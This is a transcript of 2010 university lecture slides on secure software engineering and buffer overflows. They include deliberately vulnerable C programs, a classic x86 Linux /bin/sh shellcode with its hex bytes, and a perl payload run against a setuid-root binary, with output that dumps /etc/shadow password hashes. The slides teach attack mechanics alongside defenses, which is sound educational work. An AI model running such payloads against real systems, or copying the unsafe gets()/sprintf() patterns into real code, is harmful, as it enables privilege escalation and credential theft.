Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March...

59
Computer Security DD2395 http://www.csc.kth.se/utbildning/kth/kurser/DD2395/dasak10/ Spring 2010 Sonja Buchegger [email protected] Lecture 14, March 3, 2010 Recap, Secure Software Engineering ctnd., Buffer Overflows

Transcript of Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March...

Page 1: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

Computer Security DD2395http://www.csc.kth.se/utbildning/kth/kurser/DD2395/dasak10/

Spring 2010Sonja Buchegger

[email protected]

Lecture 14, March 3, 2010Recap, Secure Software Engineering ctnd., Buffer

Overflows

Page 2: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 2

Announcements

Presentation schedule for dry runs in NEWS, come to final presentations, learn about ca. 30 different topics – 10 min each

Reminder: hand-in is a short abstract, addressing the guiding questions. Plus topic, presenters, references. HAND IN BEFORE FINAL PRESENTATION

LAB 1,2 grades & points in RAPP Course evaluation online by March 4

Page 3: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 3

Security Requirements

• Confidentiality, securing access• Protect services, e.g. publishing restricted info• Data integrity• Availability e.g. of services• Privacy• Authenticity• No injection of data• Disk failures, availability

Page 4: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 4

2 Sides of a Coin

• Defender• Intrusion detection

systems• Cryptography• User authentication• Firewalls, AV, teach

users, processes• AC policies, audits,

MLS

• Attacker• Passive monitoring• Intrusions• Brute force attacks,

cryptanalysis, process, password cracking

• Malware• Social engineering

Page 5: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 5

Big Picture

• Think about questions on paper• Answer them• Exchange with your neighbor• Discuss• Hand in paper

Page 6: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 6

Big Picture Questions

• What is the problem?• Why is it a problem?

– Security not solved outside of CS– Attackers learn and improve, can't protect against unknown attacks– New SW, features means new problems, more connected– Increasing complexity, scale, – Incentives

• Why care?– Depending on role (defender, attacker)– Loss of CIA, time, money, reputation– Cost of security, unease, obstacle to productivity

• What are some solution proposals?• What are your conclusions?

– We can make money

Page 7: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 7

Exam

• Recognize threats• Explain concepts & terminology, use correctly• Analyze (small pieces of code, scenarios)• Select appropriate counter-measures• Compare counter-measures and side-effects• Calculate small examples• Slides, links to other docs, book chapters on

course web page• Closed book exam

Page 8: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 8

Where to go from here

• Network security course, 4th quarter• Foundations of Cryptography course

Page 9: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 9

Some More Content

Page 10: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 10

Secure SW Engineering Continued

Page 11: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 11

Race Conditions inShared Memory

• when multiple threads/processes access shared data / memory

• unless access synchronized can get corruption or loss of changes due to overlapping accesses

• so use suitable synchronization primitives– correct choice & sequence may not be obvious

• have issue of access deadlock

Page 12: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 12

Interacting with O/S

• programs execute on systems under O/S– mediates and shares access to resources– constructs execution environment– with environment variables and arguments

• systems have multiple users– with access permissions on resources / data

• programs may access shared resources– e.g. files

Page 13: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 13

Environment Variables

• set of string values inherited from parent– can affect process behavior– e.g. PATH, IFS, LD_LIBRARY_PATH

• process can alter for its children• another source of untrusted program input• attackers use to try to escalate privileges• privileged shell scripts targeted

– very difficult to write safely and correctly

Page 14: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 14

Example Vulnerable Scripts• using PATH or IFS environment variables• cause script to execute attackers program• with privileges granted to script• almost impossible to prevent in some form

#!/bin/bashuser=`echo $1 | sed 's/@.*$//'`grep $user /var/local/accounts/ipaddrs

#!/bin/bashPATH=”/sbin:/bin:/usr/sbin:/usr/bin”export PATHuser=`echo $1 | sed 's/@.*$//'`grep $user /var/local/accounts/ipaddrs

Page 15: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 15

Vulnerable Compiled Programs

• if invoke other programs can be vulnerable to PATH variable manipulation– must reset to “safe” values

• if dynamically linked may be vulnerable to manipulation of LD_LIBRARY_PATH– used to locate suitable dynamic library– must either statically link privileged programs– or prevent use of this variable

Page 16: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 16

Use of Least Privilege

• exploit of flaws may give attacker greater privileges - privilege escalation

• hence run programs with least privilege needed to complete their function– determine suitable user and group to use– whether grant extra user or group privileges

• latter preferred and safer, may not be sufficient– ensure can only modify files/dirs needed

• otherwise compromise results in greater damage• recheck these when moved or upgraded

Page 17: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 17

Root/Admin Programs

• programs with root / administrator privileges a major target of attackers– since provide highest levels of system access– are needed to manage access to protected system

resources, e.g. network server ports• often privilege only needed at start

– can then run as normal user• good design partitions complex programs in

smaller modules with needed privileges

Page 18: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 18

System Calls andStandard Library Functions

• programs use system calls and standard library functions for common operations– and make assumptions about their operation– if incorrect behavior is not what is expected– may be a result of system optimizing access to

shared resources• by buffering, re-sequencing, modifying requests

– can conflict with program goals

Page 19: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 19

Secure File Shredder

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]open file for writingfor each pattern seek to start of file overwrite file contents with patternclose fileremove file

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]open file for updatefor each pattern seek to start of file overwrite file contents with pattern flush application write buffers sync file system write buffers with deviceclose fileremove file

Page 20: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 20

Race Conditions

• programs may access shared resources– e.g. mailbox file, CGI data file

• need suitable synchronization mechanisms– e.g. lock on shared file

• alternatives– lockfile - create/check, advisory, atomic– advisory file lock - e.g. flock– mandatory file lock - e.g. fcntl, need release

• later mechanisms vary between O/S• have subtle complexities in use

Page 21: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 21

Safe Temporary Files• many programs use temporary files• often in common, shared system area• must be unique, not accessed by others• commonly create name using process ID

– unique, but predictable– attacker might guess and attempt to create own

between program checking and creating• secure temp files need random names

– some older functions unsafe– must need correct permissions on file/dir

Page 22: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 22

Other Program Interaction

• may use services of other programs• must identify/verify assumptions on data• esp older user programs

– now used within web interfaces– must ensure safe usage of these programs

• issue of data confidentiality / integrity– within same system use pipe / temp file– across net use IPSec, TLS/SSL, SSH etc

• also detect / handle exceptions / errors

Page 23: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 23

Handling Program Output

• final concern is program output– stored for future use, sent over net, displayed– may be binary or text

• conforms to expected form / interpretation– assumption of common origin, – c.f. XSS, VT100 escape seqs, X terminal hijack

• uses expected character set• target not program but output display device

Page 24: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 24

Summary

• discussed software security issues• handling program input safely

– size, interpretation, injection, XSS, fuzzing• writing safe program code

– algorithm, machine language, data, memory• interacting with O/S and other programs

– ENV, least privilege, syscalls / std libs, file lock, temp files, other programs

• handling program output

Page 25: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 25

Buffer Overflow

• a very common attack mechanism– from 1988 Morris Worm to Code Red, Slammer,

Sasser and many others• prevention techniques known• still of major concern due to

– legacy of widely deployed buggy– continued careless programming techniques

Page 26: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 26

Buffer Overflow Basics

• caused by programming error• allows more data to be stored than capacity

available in a fixed sized buffer– buffer can be on stack, heap, global data

• overwriting adjacent memory locations– corruption of program data– unexpected transfer of control– memory access violation– execution of code chosen by attacker

Page 27: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 27

Buffer Overflow Exampleint main(int argc, char *argv[]) { int valid = FALSE; char str1[8]; char str2[8]; next_tag(str1); gets(str2); if (strncmp(str1, str2, 8) == 0) valid = TRUE; printf("buffer1: str1(%s), str2(%s),

valid(%d)\n", str1, str2, valid);}

$ cc -g -o buffer1 buffer1.c $ ./buffer1STARTbuffer1: str1(START), str2(START), valid(1)$ ./buffer1EVILINPUTVALUEbuffer1: str1(TVALUE), str2(EVILINPUTVALUE),valid(0)$ ./buffer1BADINPUTBADINPUTbuffer1: str1(BADINPUT),str2(BADINPUTBADINPUT), valid(1)

Page 28: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 28

Buffer Overflow ExampleMemoryAddress

Beforegets(str2)

Aftergets(str2)

ContainsValue of

. . . . . . . . . . . .

bffffbf4 34fcffbf 4 . . .

34fcffbf 3 . . .

argv

bffffbf0 01000000 . . . .

01000000 . . . .

argc

bffffbec c6bd0340 . . . @

c6bd0340 . . . @

returnaddr

bffffbe8 08fcffbf . . . .

08fcffbf . . . .

old baseptr

bffffbe4 00000000 . . . .

01000000 . . . .

valid

bffffbe0 80640140 . d . @

00640140 . d . @

bffffbdc 54001540 T . . @

4e505554 N P U T

str1[4-7]

bffffbd8 53544152 S T A R

42414449 B A D I

str1[0-3]

bffffbd4 00850408 . . . .

4e505554 N P U T

str2[4-7]

bffffbd0 30561540 0 V . @

42414449 B A D I

str2[0-3]

. . . . . . . . . . . .

Page 29: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 29

Buffer Overflow Attacks

• to exploit a buffer overflow an attacker– must identify a buffer overflow vulnerability in some

program• inspection, tracing execution, fuzzing tools

– understand how buffer is stored in memory and determine potential for corruption

Page 30: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 30

A Little Programming Language History

• at machine level all data an array of bytes– interpretation depends on instructions used

• modern high-level languages have a strong notion of type and valid operations– not vulnerable to buffer overflows– does incur overhead, some limits on use

• C and related languages have high-level control structures, but allow direct access to memory– hence are vulnerable to buffer overflow– have a large legacy of widely used, unsafe, and hence

vulnerable code

Page 31: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 31

Function Calls and Stack Frames

Page 32: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 32

Stack Buffer Overflow

• occurs when buffer is located on stack– used by Morris Worm– “Smashing the Stack” paper popularized it

• have local variables below saved frame pointer and return address– hence overflow of a local buffer can potentially

overwrite these key control items• attacker overwrites return address with address

of desired code– program, system library or loaded in buffer

Page 33: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 33

Programs and Processes

Page 34: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 34

Stack Overflow Examplevoid hello(char *tag){ char inp[16];

printf("Enter value for %s: ", tag); gets(inp); printf("Hello your %s is %s\n", tag, inp);}

$ cc -g -o buffer2 buffer2.c

$ ./buffer2Enter value for name: Bill and LawrieHello your name is Bill and Lawriebuffer2 done

$ ./buffer2Enter value for name:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXSegmentation fault (core dumped)

$ perl -e 'print pack("H*","41424344454647485152535455565758616263646566676808fcffbf948304080a4e4e4e4e0a");' | ./buffer2Enter value for name: Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyuEnter value for Kyyu: Hello your Kyyu is NNNNSegmentation fault (core dumped)

Page 35: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 35

Stack Overflow ExampleMemoryAddress

Beforegets(inp)

Aftergets(inp)

ContainsValue of

. . . . . . . . . . . .

bffffbe0 3e850408 > . . .

00850408 . . . .

tag

bffffbdc f0830408 . . . .

94830408 . . . .

returnaddr

bffffbd8 e8fbffbf . . . .

e8ffffbf . . . .

old baseptr

bffffbd4 60840408 ` . . .

65666768 e f g h

bffffbd0 30561540 0 V . @

61626364 a b c d

bffffbcc 1b840408 . . . .

55565758 U V W X

inp[12-15]

bffffbc8 e8fbffbf . . . .

51525354 Q R S T

inp[8-11]

bffffbc4 3cfcffbf < . . .

45464748 E F G H

inp[4-7]

bffffbc0 34fcffbf 4 . . .

41424344 A B C D

inp[0-3]

. . . . . . . . . . . .

Page 36: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 36

Another Stack Overflowvoid getinp(char *inp, int siz){ puts("Input value: "); fgets(inp, siz, stdin); printf("buffer3 getinp read %s\n", inp);}

void display(char *val){ char tmp[16]; sprintf(tmp, "read val: %s\n", val); puts(tmp);}

int main(int argc, char *argv[]){ char buf[16]; getinp(buf, sizeof(buf)); display(buf); printf("buffer3 done\n");}

Page 37: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 37

Another Stack Overflow$ cc -o buffer3 buffer3.c

$ ./buffer3Input value:SAFEbuffer3 getinp read SAFEread val: SAFEbuffer3 done

$ ./buffer3Input value:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXbuffer3 getinp read XXXXXXXXXXXXXXXread val: XXXXXXXXXXXXXXX

buffer3 doneSegmentation fault (core dumped)

Page 38: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 38

Shellcode

• code supplied by attacker– often saved in buffer being overflowed– traditionally transferred control to a shell

• machine code– specific to processor and operating system– traditionally needed good assembly language skills

to create– more recently have automated sites/tools

Page 39: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 39

Shellcode Development

• illustrate with classic Intel Linux shellcode to run Bourne shell interpreter

• shellcode must– marshall argument for execve() and call it– include all code to invoke system function– be position-independent– not contain NULLs (C string terminator)

Page 40: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 40

Example Shellcode nop nop // end of nop sled jmp find // jump to end of codecont: pop %esi // pop address of sh off stack into %esi xor %eax,%eax // zero contents of EAX mov %al,0x7(%esi) // copy zero byte to end of string sh (%esi) lea (%esi),%ebx // load address of sh (%esi) into %ebx mov %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8) mov %eax,0xc(%esi) // copy zero to args[1] (%esi+c) mov $0xb,%al // copy execve syscall number (11) to AL mov %esi,%ebx // copy address of sh (%esi) t0 %ebx lea 0x8(%esi),%ecx // copy address of args (%esi+8) to %ecx lea 0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edx int $0x80 // software interrupt to execute syscallfind: call cont // call cont which saves next address on stacksh: .string "/bin/sh " // string constant args: .long 0 // space used for args array .long 0 // args[1] and also NULL for env array

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 8946 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20

Page 41: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 41

Example Stack Overflow Attack$ dir -l buffer4-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4

$ whoamiknoppix$ cat /etc/shadowcat: /etc/shadow: Permission denied

$ cat attack1perl -e 'print pack("H*","90909090909090909090909090909090" ."90909090909090909090909090909090" ."9090eb1a5e31c08846078d1e895e0889" ."460cb00b89f38d4e088d560ccd80e8e1" ."ffffff2f62696e2f7368202020202020" ."202020202020202038fcffbfc0fbffbf0a");print "whoami\n";print "cat /etc/shadow\n";'

$ attack1 | buffer4Enter value for name: Hello your yyy)DA0Apy is e?^1AFF.../bin/sh...rootroot:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::daemon:*:11453:0:99999:7:::...nobody:*:11453:0:99999:7:::knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::...

Page 42: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 42

More Stack Overflow Variants

• target program can be:– a trusted system utility– network service daemon– commonly used library code, e.g. image

• shellcode functions– spawn shell– create listener to launch shell on connect– create reverse connection to attacker– flush firewall rules– break out of choot environment

Page 43: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 43

Buffer Overflow Defenses

• buffer overflows are widely exploited• large amount of vulnerable code in use

– despite cause and countermeasures known• two broad defense approaches

– compile-time - harden new programs– run-time - handle attacks on existing programs

Page 44: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 44

Compile-Time Defenses:Programming Language

• use a modern high-level languages with strong typing– not vulnerable to buffer overflow– compiler enforces range checks and permissible

operations on variables• do have cost in resource use• and restrictions on access to hardware

– so still need some code inC like languagesl

Page 45: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 45

Compile-Time Defenses:Safe Coding Techniques

• if using potentially unsafe languages eg C• programmer must explicitly write safe code

– by design with new code– after code review of existing code, cf OpenBSD

• buffer overflow safety a subset of general safe coding techniques (Ch 12)– allow for graceful failure– checking have sufficient space in any buffer

Page 46: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 46

Compile-Time Defenses:Language Extension,

Safe Libraries• have proposals for safety extensions to C

– performance penalties– must compile programs with special compiler

• have several safer standard library variants– new functions, e.g. strlcpy()– safer re-implementation of standard functions as a

dynamic library, e.g. Libsafe

Page 47: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 47

Compile-Time Defenses:Stack Protection

• add function entry and exit code to check stack for signs of corruption

• use random canary– e.g. Stackguard, Win /GS– check for overwrite between local variables and saved

frame pointer and return address– abort program if change found– issues: recompilation, debugger support

• or save/check safe copy of return address– e.g. Stackshield, RAD

Page 48: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 48

Run-Time Defenses:Non Executable Address Space

• use virtual memory support to make some regions of memory non-executable– e.g. stack, heap, global data– need h/w support in MMU– long existed on SPARC / Solaris systems– recent on x86 Linux/Unix/Windows systems

• issues: support for executable stack code– need special provisions

Page 49: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 49

Run-Time Defenses:Address Space Randomization

• manipulate location of key data structures– stack, heap, global data– using random shift for each process– have large address range on modern systems

means wasting some has negligible impact• also randomize location of heap buffers • and location of standard library functions

Page 50: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 50

Run-Time Defenses:Guard Pages

• place guard pages between critical regions of memory– flagged in MMU as illegal addresses– any access aborts process

• can even place between stack frames and heap buffers– at execution time and space cost

Page 51: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 51

Other Overflow Attacks

• have a range of other attack variants– stack overflow variants– heap overflow– global data overflow– format string overflow– integer overflow

• more likely to be discovered in future• some cannot be prevented except by coding to

prevent originally

Page 52: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 52

Replacement Stack Frame

• stack overflow variant just rewrites buffer and saved frame pointer– so return occurs but to dummy frame– return of calling function controlled by attacker– used when have limited buffer overflow– e.g. off by one

• limitations– must know exact address of buffer– calling function executes with dummy frame

Page 53: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 53

Return to System Call

• stack overflow variant replaces return address with standard library function– response to non-executable stack defences– attacker constructs suitable parameters on stack

above return address– function returns and library function executes

• e.g. system(“shell commands”) – attacker may need exact buffer address– can even chain two library calls

Page 54: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 54

Heap Overflow

• also attack buffer located in heap– typically located above program code– memory requested by programs to use in dynamic

data structures, e.g. linked lists• no return address

– hence no easy transfer of control– may have function pointers can exploit– or manipulate management data structures

• defenses: non executable or random heap

Page 55: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 55

Heap Overflow Example

/* record type to allocate on heap */typedef struct chunk { char inp[64]; /* vulnerable inputbuffer */ void (*process)(char *); /* pointer to function */} chunk_t;

void showlen(char *buf) { int len; len = strlen(buf); printf("buffer5 read %d chars\n", len);}

int main(int argc, char *argv[]) { chunk_t *next; setbuf(stdin, NULL); next = malloc(sizeof(chunk_t)); next->process = showlen; printf("Enter value: "); gets(next->inp); next->process(next->inp); printf("buffer5 done\n");}

Page 56: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 56

Heap Overflow Example

$ attack2 | buffer5Enter value: rootroot:$1$4oInmych$T3BVS2E3OyNRGjGUzF4o3/:13347:0:99999:7:::daemon:*:11453:0:99999:7:::...nobody:*:11453:0:99999:7:::knoppix:$1$p2wziIML$/yVHPQuw5kvlUFJs3b9aj/:13347:0:99999:7:::...

Page 57: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 57

Global Data Overflow

• can attack buffer located in global data– may be located above program code– if has function pointer and vulnerable buffer– or adjacent process management tables– aim to overwrite function pointer later called

• defenses: non executable or random global data region, move function pointers, guard pages

Page 58: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 58

Global Data Overflow Example/* global static data - targeted for attack */struct chunk { char inp[64]; /* input buffer */ void (*process)(char *); /* ptr to function */} chunk;

void showlen(char *buf){ int len; len = strlen(buf); printf("buffer6 read %d chars\n", len);}

